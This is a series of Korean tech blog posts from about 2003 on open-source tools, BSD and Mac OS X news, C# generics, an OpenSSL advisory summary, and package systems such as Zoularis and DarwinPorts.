이런식으로 자기 사이트에다가 검색어 들어갈 부분에 ''''''{1}''''''을 써주면 거기에 쏙 들어가서 그 URL을 띄워줍니다. 자기가 뭐 필요한 기능이 있으면 cgi짜서 직접 집어넣어도 되고.. 아아 이제 구글 데스크탑 플러그인 없어서 이제 프비는 못 쓰겠군요 (;;;;;)

그나저나, 이런 기능이 애플은 물론이고 X11에서도 구현이 꽤 어렵다는 게 좀 아쉽네요.. Gecko를 쓰더라도.. bonobo.. (상상만해도;;; =3 =33)

www.oss.or.kr하는 분들이 CVS서버 세팅을 좀 도와달라고 하시기에, 딱 들어갔습니다. 므흐흐.. 그런데, 레드햇 7.1 엔터프라이즈 인지라.. rpm이나 뭐 레드햇은 하나도 몰라서.. 프로그램을 깔 수가 없어서 (사실은 시도는 해 봤지만 디펜던시 에러에 좌절..), 그냥 이참에 Zoularis를 깔아봤습니다. 부트스트랩 바이너리는 슬랙웨어용만 제공되고 있는데, 그냥 소스로 받아다가 하면 레드햇 7.1에서도 그럭저럭 잘 되는군요. 그런데, 레드햇에 들어있는 md5.h가 zoularis의 md5.h와 타입이 충돌나서 pkg-install/lib/plist.c랑 pkg-install/create/pl.c 던가 두군데에서 md5.h가 없다고 바꿔줘야 컴파일이 됩니다.

일단 부트스트랩이 끝나면, /usr/pkg에 zoularis 기본 툴들이 깔리는데 반드시 /usr/pkg/bin과 /usr/pkg/sbin을 PATH 맨 앞쪽에 놔야합니당. 안 그러면, /usr/bin/ftp가 다운로드 프로그램에 걸려서 fetch 명령이 안 먹습니다. 흐흐.. 그리고, 한 머신에서는 dc 가 없다는 곳도 있었는데, pkgsrc/math/bc 를 깔다보면 dc가 나오는데 그걸 /usr/pkg/bin/dc에 옮겨놓고 /etc/mk.conf에 dc 패스를 바꿔줬습니다. 므흐흐;;

참, 그리고 또 중요한게 /etc/mk.conf에 ZOULARISBASE=/usr/pkg를 안 쓰면 또 안 되는게 제법 많더군요.. 제법 간단히 리눅스에서도 졸라리스 성공!

www(perky):~% uname -a 
Linux www.oss.co.kr 2.4.9-e.3smp #1 SMP Fri May 3 16:48:54 EDT 2002 i686 unknown
www(perky):~% ls /var/db/pkg/
bc-1.06/     digest-20021220/                perl-5.6.1nb9/   sudo-1.6.7.5/
db4-4.1.25/  libtool-base-1.4.20010614nb16/  pkgdb.byfile.db  zsh-4.0.7/
www(perky):~% pkg_info
digest-20021220     Message digest wrapper utility
bc-1.06             Arbitrary precision calculator language
zsh-4.0.7           The Z shell
sudo-1.6.7.5        Allow others to run commands as root
libtool-base-1.4.20010614nb16 Generic shared library support script (the script itself)
db4-4.1.25          Sleepycat Software's Berkeley DB version 4
perl-5.6.1nb9       Practical Extraction and Report Language

므흐흐;; zoularis깔고 나니 레드햇도 안방처럼 느껴지는 게 제법 쓸 만하군요~

• 소프트웨어 진흥원의 오픈소스 포탈, http://www.oss.or.kr/ 엶

저희 회사에서 만들고 있는 것이긴 하지만,

아직은 좀 허접한 사이트라 KLDP같은 데서 욕은 많이 먹고 있긴 하지만.. 뭐 그래도 자꾸 방향 제시를 위한 적절한 비판을 해 준다면 좋은 사이트로 발전할 수도 있지 않을까 싶네요. (저는 저 사이트 만드는 데 참여 안 했어요. 뿌데덱 =3)

• Novell이 SuSE 합병

그나마 상용 리눅스 시장에서 RedHat에 한 번 덤벼볼 만했던 리눅스 배포본

회사인 SuSE가 Ximian에 이어서 또 Novell로 넘어갔군요. 그동안 KDE의 주요 공헌자로 엄청난 지원을 해 왔던 SuSE가 Ximian도 있는 Novell로 넘어가면.. (설마 KNOME이나 GDE가;; =3 =33) 어쨌건, Novell이 재정상태가 좋다면야 유망하고 돈 없는 오픈소스 회사들을 앞으로도 좀 몇개 더 병합해서 IBM 처럼 멋진 것 많이 만들면 좋겠군요. 기왕 하는 김에 VA Linux도 좀 살려주면.. -.-;

• MacOS X 10.3 공식 릴리즈

드디어 우리의 희망 MacOS X의 혁신적인 버전 10.3 (panther)이 정식 릴리즈되었습니다.

비공식적인 경로로 깔아보니, 역시 소문대로 Exposé는 환상이군요!. 버춰데스크탑이 정말 쓸데없다는 생각이 듭니다. 므흐흐;; PC에서도 자꾸 F9, F10를 누르게 되는;; 그 외에 국제화된 입력기의 문자팔레트가 드디어 CJK 방식 모두 카테고리를 지원하고, 한자 찾기와 유니코드 카테고리는 정말 막강하고, 새로운 빠른 사용자 변경 (fast user switching)은 정말 꼭 있으면 한 기능인데, 으하하 만세~ 내일 한번 스샷 러시를;; 게다가, 제 iBook 500에서도 사파리가 한번만 튀기고 뜨고 iTunes가 두번 튀기고 뜬다는.. (헉~)

하여간, 이제 KDE나 GNOME뿐 아니라 Windows도 당분간은 MacOS X의 뽀대를 따라오기는 힘들 것 같다는 생각을 들게 해주는 정말 멋진 릴리즈! (꺄~)

• NetBSD, MacOS X 바이너리 호환성 지원

작년 쯤에 발표된 얘기인 것 같은데, 드디어 NetBSD/powerpc에서 MacOS X의 바이너리 포맷인

Mach-O PPC가 콘솔 프로그램 만이지만 되긴 된다고 합니다. NetBSD야 포터블하기로는 따라올 자가 없으니 곧 쿼츠쪽 에뮬레이트도 가능해 지겠죠? 므흐.. (기대 잔뜩~) 뭐 직접 힘들다면야 Darwin전체를 아예 그냥 복사해다가 에뮬레이트해버리는 방법도 있으니;;

• RedHat CEO 망언하다

  레드햇 CEO인 Matthew Szulik가 ZDNet의 기사에서

  "I would say that for the consumer market place, Windows probably continues to be the right product line" 라고 말했다고 합니다. 굳이 저런 기사에 인터뷰를 했어야 했을까요 =3

• FreeBSD 5.2 릴리즈 스케줄

FreeBSD 릴리즈 엔지니어 팀의 내부 스케줄이 발표되었습니다.

• 11월 17일: 소스, 포트 프리즈 시작

• 11월 19일: 5.2-BETA 발표

• 12월 1일: RELENG_5_2 브랜칭

• 12월 3일: 5.2-RC1 발표

• 12월 8일: 문서 프리즈 시작

• 12월 11일: 5.2-RC2 발표

• 12월 16일: 5.2 릴리즈

  통상적으로 FreeBSD는 매 릴리즈마다 2주~1달 정도 늦어지기 때문에, 1월초에 나온다고 보는 것이 맞겠습니다. 으흐흐~~ 다들 느끼셨다시피, 아직 5.2가 kqueue, kse쪽에 문제가 제법 남아있는 상태이기 때문에, 빠른 시일 내에 -STABLE로 들어갈 리는 없을 것같고, 내년 4~5월은 되어야 가능하지 않을까 싶군요. (원래 5-STABLE 예정일은 2003년 6월이었는데, 5는 FreeBSD 마의 브랜치;;)

• FreeBSD 베이스 소스 크로스 레퍼런스

Robert Watson씨가 리눅스에서 쓰는 lxr을 이용해서 fxr을 공개했습니다.


http://fxr.watson.org/

FreeBSD 주요 브랜치 뿐만 아니라, NetBSD, OpenBSD, OpenDarwin, Linux 2.4, Linux 2.6, DragonFly BSD도 지원하고 있으니 아주 쓸모가 많습니다~ 흐흣 (톡톡~)

• 가장 안정적인 서버는 OpenBSD를 씁니다. (....)

얼마전 벤치마크에서 호되게 당해서.. 서버용으로는 절대 못 쓴다는 판정을 받은 OpenBSD가

어떻게 세팅을 잘 했는지.. 아니면 파여월로 왕창 묶어뒀는지.. Netcraft 웹 호스팅업체 평가에서 1등한 사이트가 바로 OpenBSD를 쓰는 Secure Dog이라는 사이트가 차지했습니다. 그 뒤로는 늘 1,2,3위를 하던 Pair, InetU, Ipowerweb (모두 FreeBSD)가 2,3,4위로 밀려났다고 합니다. 그 뒤로 4위부터 10위까지는 OS가 Window2k - FreeBSD - Linux - Windows NT - Linux - Solaris 라고 하는군요~ 20위까지쳐도 리눅스는 4군데 밖에 없는 걸 봐서는 생각보다는 리눅스가 미국이나 유럽에서는 별로 많이 안 쓰이나보군요.. (오옷!)

ddt옹의 삽질기를 보고 그동안 하고 싶어도 못했던 추억의 도스 게임들을 시도해 보았습니다.

이야.. 도스 게임 실행을 지상 목표로 해서 그런지, emulators/dosbox 는 과연 시도해본 대부분의 게임을 잘 실행해 주고 있었습니다. 남북전쟁, 삼국지2, 신장의야망2 같은 것을 비롯해서, War Craft 2같은 프로텍티드 모드 게임까지 지원하고 있군요! (프로젝티드 모드는 0.60부터 지원) 그런데, 프비 포트는 아직 0.58이라 그냥 버전만 0.60으로 바꿔서 설치했더니 되는군요. 메인테이너에게 패치를 보냈습니다 흐;;

과연 가장 재미있었던 게임은 Wing of Fury!

이야.. 초등학교 5학년때 컴퓨터 학원가서 디스켓 3장 바꿔 끼워가며 게임 하던 생각이 나는군요. =3 키키... (근데, 정말 재미있는 Transport Tycoon이 안 됩니다.. ㅠ.ㅠ)

표준 IDNA에 의해 지원되는 자국어 도메인인 한글.kr을 전에 1등록증 1도메인 등록때 예약신청을 했는데, 당첨되었네요 크크. 퍼키.kr 등록했습니다. 아직 등록이 완료는 안 돼서, 나중에 언젠가는 되겠죠~. 사파리와 콩쿼러를 제외한 주요 브라자들 (Moz, Firebird, IE, Opera)은 모두 지원하고 있는 듯 한데, 앞으로 .kr을 자동으로 붙여주는 뭔가 기발한 방법만 생긴다면야 한글 도메인도 그럭저럭 좋지 않을까 싶군요. 단, 넷피아식의 비표준 무대뽀 한글 도메인 서비스는 정말 싫음 -_-...

10월 27일부터 자유 예약등록제를 실시하고 있다니, 가까운 레지스트라에서 신청해보세용~

C# 2.0 스펙을 보다가, 말로만 듣던 .NET 2.0의 Generic의 실체를 비로소 알게 되었습니다. 흐흐 .NET 2.0 스펙만 봐서는 이거 해서 뭐가 좋은지 몰랐는데 -ㅁ-;

C# 2.0의 generics는 파이썬이나 루비같은 객체지향 스크립트 언어에서 아무 객체나 마구 같은 방법으로 쓸 수 있다는 장점을 정적인 언어에서 지원하기 위한 것으로 보이는데, MFC에서 CWnd나 CObject로 거기서에서 virtual을 무지하게 써서 상속된 MFC 클래스들 거의 대부분을 다룰 수 있다는 것을 생각해 보면 결국 MS가 그렇게도 꿈꾸던 것을 드디어 이룬 것이 아닐까 싶군요;; 하여간, 그동안 동적 타이핑 언어들의 .NET 구현에 가장 큰 걸림돌이 해결된 것 같아서, 아주 마음에 드네요! 그나저나, C++의 템플릿같은 타입을 인자로 받는 짓을 지원하느라, C++처럼 <type>을 쓰는데.. 이건 C++ 템플릿에 데인 기억이 있어서 꺼림칙 -O-; 좀 더 예쁜 기호도 있지 않았을까 싶은데 하필이면 ㅡ.ㅜ

기본적인 사용은 object객체를 쓰면 템플릿처럼 안 쓰고도 된답니다.

public class Stack 
{
        object[] items;
        int count;
        public void Push(object item) {...}
        public object Pop() {...}
}

그리고, 타입을 인자로 받을 때는

public class Stack<T> 
{
        T[] items;
        int count;
        public void Push(T item) {...}
        public T Pop() {...}
}

이렇게 해서 쓸 때는..

Stack<int> stack = new Stack<int>(); 
stack.Push(3);
int x = stack.Pop();

얼른 모노에서도 구현되었으면 좋겠네요~~ 크크;;

그리고, 참고로 Brian Lloyd의 Python.NET 1.0 Beta1이 나왔습니다. 별로 달라진 점은 없는 것 같은데.. 이제 generics도 나왔으니 브릿지 필요 없이 직접 .NET CLR 언어로 구현하는 편이 나을 것 같군요 크~

iBook이 드디어 처음으로 G4를 달고 나왔군요. (풍덩~) 결코 iBook은 G3로 남을 것 같았는데.. 배신을 때리고 G4로.. 흑흑.. iBook G3 500은 이제 Finder 띄우는데 클릭하고 20초 기다리는 구닥다리 기계로 남는 것인가요 ㅡ.ㅜ

이번에는.. 기존 사용자들을 불쌍하게 만들었던, 저번 800때의 외형 업그레이드는 없는 듯 하고, 12인치 모델은 G4 800MHz에 256MB에 버스 속도 133MHz ... (아니 내 아이북의 두배가 넘는! ㅡ.ㅜ)인데다, 14인치는 933MHz(40GB HDD), 1GHz(60GB HDD) 군요.. 이런.. 이번 아이북 G4 나오기 전에 얼른 중고 팔 걸 잘못했다는 생각이 듭니다.~

얼른 월급 모아서 애플에 상납해야겠다는 생각이 지배하다가, 몇달전에 봤던 『게으르게 사는 즐거움』에 나오는 "비싼 스포츠카, 노트북, TV, 오디오 같은 것을 사느라 부지런 하게 하기 싫은 일을 하며 사는 것은 뭐 어쩌고 저쩌고~"가 생각나며 흠칫~;

90년대 중반을 장식했던 아련한 추억속의 나우누리 자료실이 이제 웹에서 자료를 쉽게 구할 수 있다는 이유로 서비스를 중단한다고 합니다. 10월 12일부터 업로드가 중단되었고, 내년 1월 1일부터는 다운로드도 중단한다고 합니다. 과연 나우누리는 이제 뭘로 먹고 살지 모르겠군요;;

94~95년에 집에서 셤 공부 안 하고 열심히 만들었던 프로그램을 조심스럽게 압축해서 나우누리 자료실에 올리고서는 몇명 받았다고 좋아하던 그 때를 생각해 보면, 정말 아쉽긴 합니다~~..

디지탈 문화가 늘어나면서, 원한다면 충분히 저장해 둘 수 있는 추억도 많긴 하지만, 언제나 쉽게 원래대로 들춰낼 수 있는 기억들이 너무 많아져서 아날로그 시대의 점점 사그라드는 추억들에 비하면 점점 가치가 떨어지는 것은 아닌가 싶네요. "추억은 잊혀질 때 더욱 값지다."

(궤변쟁이! ;;)

요즘 선풍적인 인기를 끌고 있는 iTunes for Windows를 깔았습니다. 으흐흐.. 갖고 있는 맥이 워낙 고물이라 (iBook 500) iTunes에서 노래만 들으면 CPU를 40% 먹고 그래서 iPod 싱크, 라디오 듣기 전용으로만 쓰고 있었는데 드디어 윈도우에서도 된다니 정말 좋네요~ Winamp 뭐먹고 살라고~ 흑흑흑~~ (애도~) 그나저나, iTunes의 윈도우 포팅은 정말 의외인데, 앞으로 iPhoto도 꼭 윈도우로 포팅되었으면 합니다. -.- 아이북 500에서 iPhoto 싱크 한번 하려면 사진 한장에 1분...

iTunes for win의 외형은 제목바가 본체랑 분리되었다는 것 외에는 대충 비슷한 편이고, UI 느린 것도 비슷하고 해서 정이 갑니다. (맥의 정수는 역시 느린 UI.. ;;; ) 대충 맥용과 눈에띄는 기능상 차이점들은..

• 메시지가 국제화되어있지 않음. (디스어셈블해서 보면 gettext식의 다국어 지원을 갖추고 있습니다. 그런데, 아직 다국어 지원이 전혀 없는데, 곧 추가되겠죠.. )

• 파일 리스트에서 제목 고치기 단축키(F2). 맥에서 노래 제목 넣으려면 답답해서 미치고 팔딱 뛰는 제목 고치기가 윈용은 단축키가 있군요! 만세 -ㅁ-;

• 국제화되지 않은 ID3v2 태그를 CP_ANSI로 처리, ID3v1 태그를 기본으로 CP_ANSI 8bit로 처리. 맥에서는 ID3v1태그의 경우에는 ASCII 7bit로 일단 받고, 따로 명령을 내려서 8bit로 legacy 인코딩으로 처리하고 있었는데, 윈도우용은 아예 그냥 기본으로 CP_ANSI로 받아버려서 한글이 CP949로 처리돼 버리는군요. 그리고, ID3v2 태그의 ISO_8859_1($00)가 맥에서는 진짜로 ISO-8859-1로 처리되는데, 윈도우에서는 역시 CP_ANSI로 처리해버립니다. Winamp와의 호환성을 위해서 일까요.. 그리고, 윈도우 API에서 지원을 안 해줘서인지 U+1100으로 노멀라이즈된 한글이 그냥 쫙 풀어져 나오는 문제도 있습니다. --;

• "Source"창의 컨텍스트 메뉴가 제대로 지원되지 않음. 맥에서는 Source에서 ctrl-click 눌러서 대부분 처리할 수 있었는데, 윈도우용에서는 전부 메뉴로 올라가 버리는 바람에 영 불편하네요.

몇 가지 차이점은 있었지만, 대체로 맥용과 같은 기능을 제공한다는 점에서 (특히 iPod 싱크 지원한다는 점에서..) 정말 만족입니다. 크크.. 원래 iPod를 HFS+로 쓰고 있었는데, iTunes for Win쓰려고 오늘 백업하고 FAT로 포맷했습니다. --; 아.. 참.. HFS+ iPod에서 백업해서 윈도우로 옮길 때 주의하실 점은, ID3v1 태그 쓰는 녀석들은 뭔가 야릇한 문제로 인해 한글이 다 깨져버립니다. 있을 수 있는 몇가지 경우로 테스트해봐도 어떤 경유로 깨지는지 알 수가 없네요. 반드시 옮기기 전에 ID3v2로 모두 변환한 다음에 하셔야 좋을 듯;

www/mozilla 가 드디어 1.5 릴리즈가 나왔습니다. 이젠 뭐 MSIE하고는 비교가 안 되게 좋아서~ 흐흐흐.. 덩달아서 썬더버드 0.3과 파여버드 0.7도 나왔네요. 덩실덩실~ 업글하러 가세~

눈에 띄는 새로운 기능들 (브라자 기능에 중점을 맞춰서..):

• 북마크 그룹으로 탭을 동시에 빠바박! 열기 기능이 생겼습니다. (아침에 사이트 둘러보기 할 때 환상!)

• 탭이 여러개 열려있을 때 닫기 누르면 바로 안 닫고 물어본 뒤에 닫습니다.

• DOM Inspector가 #document 루트를 뿌릴 수 있게 됐습니다.

• 소스보기 창이랑 자바 스크립트 콘솔을 같이 띄워놓고 디버깅할 수 있게 됐습니다. (클릭해서 바로 가기 신공!)

• 소스보기 창이 줄번호 보여주기랑 상태보여주기 같은 걸 지원합니다.

• 스타일 쉬트가 안 붙은 XML이 좀 더 예쁘게 나옵니다.

• 윈도우에서의 GDI 문제가 모두 해결되었습니다.

• 안정성, 새로운 표준의 지원, 속도의 증가 등 브라자 능력이 많이 향상되었습니다.

물론 파여버드도 비스무리한 기능의 향상이 있었고, 썬더버드 쪽에서는 주로 버그수정, 안정성 향상이군요.

FreeBSD에서는 www/mozilla 를 Mozilla 1.5로 업글하고 Mozilla 1.4는 그냥 없애버리자는 쪽으로 의견이 모아지는 듯합니다. (www/mozilla14를 만들자는 소수의견도 있었지만 1.5가 빠른데 왜 굳이 1.4를 소스트리에 놔둬야 하느냐는 공격을 당하고 금방 깨갱~)

오늘 드디어 MSN이 밝힌 공식적인 MSNM 클론 셧다운 날입니다. 다들 아시다시피 MSNP7 이하의 버전을 사용하는 모든 클론및 MSN 메신저들은 접속할 수 없는데, 대부분의 MSNM 클론들은 MSNP6이나 MSNP7을 쓰고 있었기 때문에 접속도 할 수 없을 뿐만 아니라, MSN이 공식적으로 MSNP8이상의 프로토콜을 클론에서 사용하기 위해서는 MSN에서 공식적인 라이센스를 받아야된다고 했으므로, 앞으로 MSN에 사실상 합법적으로 오픈소스 클론이 접속하는 방법은 거의 없다고 봐도 무방할 듯 합니다.

그나저나, 최근 MSNM 6.1.0153에서 MSNP10을 지원하기 시작했다고 합니다. MSNP10에서는 또 뭔가 살벌한 클론 방지 기능이 들어갔으려나요 --; 이번엔 본격적으로 패스포트 로그인을 원래 하려던 목적으로 쓰려는 것 같던데..

흥 MS 니들끼리 잘 먹고 잘 살아봐라~

PS. 오늘부터 MSNM에서 잘 안 보이면 이것 때매 그러려니~ 하시길 흐;;

요즘 Mono 메일링 리스트에서 Mono 1.0 릴리즈를 위한 의견 수렴을 하고 있습니다. 0.28이라는 적지 않은 수의 릴리즈를 벌써 내버린 모노 개발자들로서는 1.0이 탐나기도 할 만하죠 믓흥;

Miguel의 제안으로는 일단 1.0에서는 EnterpriseServices와 Windows.Forms, JScript와 같은 단기간 내에 구현하기 힘든 부분은 뺀 나머지를 구현하자고 합니다. 대충 다음과 같은 것들이 있다는군요.

• C# 컴파일러

• 툴 체인 (ilasm, ildasm, al, 등등)

• corlib, System, System.XML, System.Security.

• ADO.NET (System.Data 와 프로바이더)

• ASP.NET (System.Web.Services 와 System.Web)

대체로 다른 사람들도 이에 동조하고, 있고 문서가 완벽해져야 한다는 의견, ECMA 1.0 규격만 지키면 된다는 의견 같은 것들이 있었습니다.

그리고, 첫번째 Mono 컨퍼런스(Mono Summit of Love)를 할 예정이라고 하는군요. BSDCon처럼 해커 중심의 컨퍼런스가 될 듯하고, 일반인이나 기업을 위한 세션은 없을 듯 합니다. 비자발급 문제같은 것을 고려해 볼 때 멕시코의 칸쿤이나 에스파냐의 바르셀로나에서 하는게 좋겠다는군요.

wu-* 씨리즈에 둘째가라면 서러운 보안버그 단골 OpenSSL이 또 보안 버그를 발표했습니다. (크크 -- 뭔가 혼자 즐겁다;;)

이번 버그는 인증서 데이터를 인코딩할 때 사용되는 ASN.1의 파서에서 발견되었는데, 사실상 대부분의 SSL 코드에서 ASN.1 파싱은 꼭 거치기 때문에 서버가 계속 나자빠지는 등;; 위험하게 작용하게 됩니다. 구체적으로 적용되는 부분을 번역해 보자면:

이번 버그는 OpenSSH건처럼 root가 뚫린다던지 하는 일은 없지만 모두 쉽게 발생시킬 수 있는 DoS코드들이 이미 공개되어 있기 때문에, 원한을 산 분들은 얼른 얼른 업데이트 하셔야 될 듯 합니다. 적용되는 버전은 구석기시대의 SSLeay를 포함한 OpenSSL 0.9.7b까지의 버전이라고 합니다. 간단히 말해서 "지금 쓰는 모든 버전은 구멍이 숭숭~" 이란 말;; =3 =33

지금 글을 쓰고 있는 현재 FreeBSD에는 보안 패치가 적용되어 있지 않고, Python은 2.3.2에서 0.9.7c를 기반으로 작업할 예정이라고 합니다.

즐 패치~;;;

• OpenSSL측 발표: http://www.openssl.org/news/secadv_20030930.txt

작년에 가공매출로 인한 우루루 연쇄 도산사건으로 유명했던 한국RF로직에서 만든 (제품보다 사기로 유명인가 -ㅁ-;;) "파라니"를 샀습니다. ^.^;; 10월 말에 있는 사발통문 전시회겸 EE Festival(전기전자축제)에 블루 투스 관련된 뭔가를 내야 하기에.. -.-;; 으흐~;

일단 요걸로 PC와 ARM보드에 1개씩 끼워서 serial over bluetooth로 만든 다음에, diameter over serial/tls로 무선 홈 네트뭐크를 만들어 보려고 합니다~. CD롬에 소유진이 웃으면서 파라니를 들고 있는데 사진에서 보이듯 진짜로 쪼끄맣고 가볍습니다. 꺄아~ 윈도우에서는 따로 드라이버를 깔아야 동작하고, FreeBSD-current와 MacOS X 10.2에서는 전혀 뭔가 안 깔아도 잘 잡힙니다. 므흐흐 (혼자 뿌듯해 한다~ ;;)

FreeBSD에서는 좀 이상하게 그냥 끼우면 ugen으로 잡히는데, ng_ubt 모듈을 미리 올리고 끼우면 제대로 잡히더군요. vid 힌트를 제대로 안 준 모양.. MacOS X에서 제공해주는 기본 블루투스 도구들로 간단히 시험해보니까 속도도 그런대로 쓸만하고 한 15미터까지는 괜찮네요 (장애물이 없을 때)

가격도 2개에 8만원이니, 802.11카드보다 싸고 해서, 근거리 저속 무선 네트워크용으로는 앞으로 쓸모가 많을 듯 합니다. 앞으로 PDA랑 디카랑 핸드폰이랑 냉장고랑 전자렌지랑... 다 블루투스로 척척 붙으면 재미있겠네요 흐흣..

하드웨어 펌웨어상의 버그인지, 자세히 디바이스 정보를 잡아보면 self-powered로 잡힙니다. 근데, 거의 500mA 먹던 801.11 카드들을 생각해 보면 절대 블루투스 장치가 태양열 발전을 안 한들, self-powered로 동작할 일은 없을 것 같고, 아무래도 버그인 듯 합니다. 자가 전원 공급이 가능한 장치에 직접 끼우지 않으면 아무래도 전원 설정이 제대로 안 되서 정상동작이 안 될지도 모르겠군요.

가격도 싸고 크기도 쪼그맣고해서 다른 분들께도 추천~ 아.. 안에 인터넷 공유 프로그램도 들어있습니다. 물론 윈도우용인데, FreeBSD나 MacOS X에서도 쉽게 ppp로 인터넷 공유를 설정할 수 있더군요~ ^.^

• FreeBSD에서 블루투스 PPP 빨리 설치하기 : http://www.missl.cs.umd.edu/Projects/wireless/bluetooth.html

(sangu님으로 부터의 소식)

그동안 서버 시장에서 지배적인 오픈소스 배포본이었던 레드햇 리눅스가 2개로 분리되었네요. 레드햇에서 정식으로 지원받는 유료 배포본으로 Red Hat Enterprise Linux가 생겨나고, 오픈소스 드리븐으로 Fedora라는 것이 새로 생겨났다고 합니다. Apple의 MacOS X와 OpenDarwin 프로젝트에서 이미 이런 모델이 성공적으로 진행이 가능함을 보여주었으니, 앞으로 레드햇이 돈 많이 벌어서 좋은 패치와 소프트웨어를 오픈소스 세상에 많이 기여해 줬으면 합니다.

Red Hat Enterprise Linux와 Fedora의 주요 차이점 . Fedora Red Hat Enterprise Linux 뭔가요? 오픈 소스 프로젝트 오픈 소스에 기반한 상용 제품 개발자 개발자 집단 레드햇 사용자 얼리 어답터, (기존 레드햇 리눅스) 추종자, 개발자 상용 품질의 환경 라이센스 오픈소스 오픈소스 다운로드 소스와 바이너리 소스만 공개, 바이너리는 레드햇에서 유지보수를 구입해야함 레드햇의 지원
(전화 문의..) 없음 많음 포함 패키지 엄청 다양 레드햇이 지원하고 추천하는 것만 선별 업데이트 지원 다음 릴리즈가 나온 후 2~3개월 최소 5년 패키지 버전 최신 버전으로 유지 레드햇이 안정적이라고 판단하는 버전으로 유지 기능 원 패키지와 최대한 비슷하도록 레드햇이 많은 기능 추가를 함

• The Fedora Project: http://fedora.redhat.com/

최고의 소스 문서화 도구 Doxygen으로 그동안은 HTML만 만들어 봤었는데.. 뭔가 latex 도구들을 잔뜩 깔고 드디어 Doxygen으로 PDF만들기에 도전해 봤습니다. 흐흐

사실은 제법 간단해서, 그냥 GENERATE_..LATEX를 yes로 해주고 나면 생기는 latex/ 디렉토리에 가서 make pdf명령만 쳐주니 그냥 떡~하고 pdf가 만들어지더군요. 이히히.. 너무 예쁘게 나와서 자랑~ 요건 자동으로 doxygen이 생성해 주는 차례 요건 소스에서 주석뽑아서 만들어주는 자료 구조 정리 요건 자동으로 doxygen이 생성해 주는 책 끝에 나오는 색인

흐흐흐.. 소스는 어제 만들기 시작한거라 지금 500줄 정도밖에 안되는데 문서가 doxygen으로 뽑으니 52장이 나와서.. 어찌나 뿌듯하던지요 -.-;;;;;; 아 그런데, PDF로 뽑는 문서에는 소스는 안 들어가더군요~~ 이제 곧 doxygen으로 한글문서 뽑는 연습을 해볼까 하는데, hlatex는 한 번도 써본 적이 없어서 겁이 나는군요~ 그리고, doxygen으로 한글문서 뽑을 때 가장 치명적인 문제가, 소스에 한글로 주석을 달아야 한다는.. -o-; 주석을 위한 gettext라도 만들어야 할 판이네요 으흐;;;

OpenDarwin 프로젝트에서 진행 중인 포트 스타일의 패키징 시스템인 DarwinPorts 을 드디어 좀 해봤습니다. 음훗훗. DarwinPorts 개발자 중 상당수가 FreeBSD 쪽에서 건너가거나 겸하고 있는 사람들이다보니, 상당수의 포트들이 FreeBSD도 지원하고 있었습니다. 체크아웃 한 dports 트리를 보면

sbtm(perky):/usr/dports% grep -r '^platform.*darwin' .|wc -l
     482
sbtm(perky):/usr/dports% grep -r '^platform.*freebsd' .|wc -l
      99

현재, DarwinPorts에는 darwin을 지원하는 포트가 482개, freebsd를 지원하는 포트가 99개가 있습니다. 뭐 그런대로 주요 유틸리티 포트들은 FreeBSD도 지원하고 있어서 쓸만합니다. (python포트가 freebsd를 지원하지 않는 것은 좀 =3 =33)

DarwinPorts는 port라는 tcl로 작성된 별도의 툴을 이용해서 설치하는데, 요것 make 보다는 아무래도 포트에 특화된 것이라 속도도 그런대로 쓸만하고 좋은 듯합니다. textproc/cowsay 포트를 설치하면 요렇게 됩니다.

sbtm(perky):/usr/dports/textproc/cowsay% sudo port
--->  Fetching cowsay
--->  Attempting to fetch cowsay-3.03.tar.gz from ftp://tony/cowsay/
--->  Verifying checksum for cowsay
--->  Extracting cowsay
--->  Configuring cowsay
--->  Building cowsay with target all
sbtm(perky):/usr/dports/textproc/cowsay% sudo port install
--->  Staging cowsay into destroot
--->  Installing cowsay
sbtm(perky):/usr/dports/textproc/cowsay% /opt/local/bin/cowsay \
"Hello, DarwinPorts"
 ____________________
< Hello, DarwinPorts >
 --------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
sbtm(perky):/usr/dports/textproc/cowsay% sudo port uninstall
--->  Uninstalling cowsay-3.03

요건 darwin이 아니라, freebsd에서 설치해본 것인데, 사용자 편의를 위해서인지 기본으로는 컴파일 중 메시지를 전부 숨겨서 빌드가 오래 걸리는 툴들은 상당히 지루합니다. (뭐라도 화면에 나와야 -ㅁ-;; 한 줄에 . 한 개씩이라도 찍던가;;) 단, -v 옵션을 주면 FreeBSD나 NetBSD 처럼 안 감추고 보여줍니다.

그런데, DarwinPorts에서 가장 주목할 것은 바로 variants 시스템인데, OpenBSD에서 처음 시작되어 Gentoo에도 전해진 FLAVOR와 비슷한 역할을 하는데, 빌드시에 여러가지 옵션을 FreeBSD 처럼 난잡하게 포트 파일을 안 보고도 시스템에서 받쳐주는 것들을 on/off할 수 있게 되어, 자동으로 바이너리 패키지 빌드에서도 적용될 수 있도록 한 것인데, 정말 멋있습니다. 예를 들면, lang/python 포트의 Portfile은 요렇게 되어있습니다.

# $Id: Portfile,v 1.9 2003/08/05 21:02:22 jkh Exp $

PortSystem 1.0
name            python
version         2.2.2
categories      lang
maintainers     pat@ekman.cx
description     An interpreted, object-oriented programming language
platforms       darwin
master_sites    ftp://ftp.python.org/pub/python/${version}/
distname        Python-${version}
extract.sufx    .tgz
checksums       md5 1c1067396e5aa0299978486eb5bd1a5c
patchfiles      patch-unixccompiler.py
destroot.destdir prefix=${destroot}${prefix}


variant nothreads {
        configure.args-append   --without-threads
}

variant puredarwin {
        configure.args-append  --disable-toolbox-glue
}

요렇게 해놓으면, 설치할 때 port install +nothreads나, port install +puredarwin -threads 요런 명령으로 조절을 할 수 있고, GUI 툴로도 선택을 할 수있게 버튼이 나온답니다. 으흐흐흐 멋있군요~~

그동안 많은 수의 오픈소스 프로젝트들과 오픈소스 해커들이 참가해 왔던 유럽 소프트웨어 특허법 항의 시위의 영향으로 투표가 연기되었다고 합니다.

일단 연기가 돼서, 많은 수의 오픈 소스 구성원들의 뜻은 대충 전달되었다고 생각되어 지지만, 완전히 취소된 것은 아니기에, 오픈소스에 대한 심각한 위협은 아직 남아있습니다. 앞으로 좀 열심히 시위에 참여해서 유럽 소프트웨어 특허법을 꼭 막는데 보탬이 되야겠다는 생각이 드는군요.

